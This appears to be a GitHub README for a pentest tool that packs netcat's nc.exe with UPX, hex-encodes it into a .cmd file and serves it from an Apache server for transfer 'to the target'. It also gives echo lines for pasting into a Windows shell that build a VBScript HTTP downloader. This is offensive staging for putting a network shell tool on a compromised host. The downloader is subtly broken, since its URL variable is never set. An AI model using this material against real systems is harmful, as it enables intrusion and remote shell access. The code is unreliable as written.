Skip to content

A small bash script that creates an executable version of netcat for Windows.

Notifications You must be signed in to change notification settings

HackTheBridge/netcat_for_windows

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 

Repository files navigation

netcat_for_windows

A small bash script that creates an executable version of netcat for Windows.

This script starts an apache2 webserver, clones nc.exe, converts the clone to hex and moves file to /var/www/html ready to be downloaded for use via the webserver.

Usage

This script was written to help send a Windows compatible netcat and make it accessible to be downloaded via the webserver.

./necat_for_windows.sh

   This script starts an Apache2 server, clones nc.exe, converts it
             into hex and adds to /var/www/html file
######################################################################
Do you want to continue? y/n: y
                      Apache2 Server Started...
######################################################################
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29696   50.00%    win32/pe     nc.exe                        

Packed 1 file.
[*] exe2hex v1.5.1
[+] Successfully wrote (PoSh) /home/parallels/Tools/nc.cmd
nc.cmd
######################################################################
Success! /var/www/html/nc.cmd is ready to be transfered to the target! 
######################################################################

You may need to create a HTTP Downloader which can be done by copying the following code and pasting it to the Windows CLI:

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo  Err.Clear >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo  http.Open "GET", strURL, False >> wget.vbs
echo  http.Send >> wget.vbs
echo  varByteArray = http.ResponseBody >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo  Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo  strData = "" >> wget.vbs
echo  strBuffer = "" >> wget.vbs
echo  For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo  ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo  Next >> wget.vbs
echo  ts.Close >> wget.vbs```

About

A small bash script that creates an executable version of netcat for Windows.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages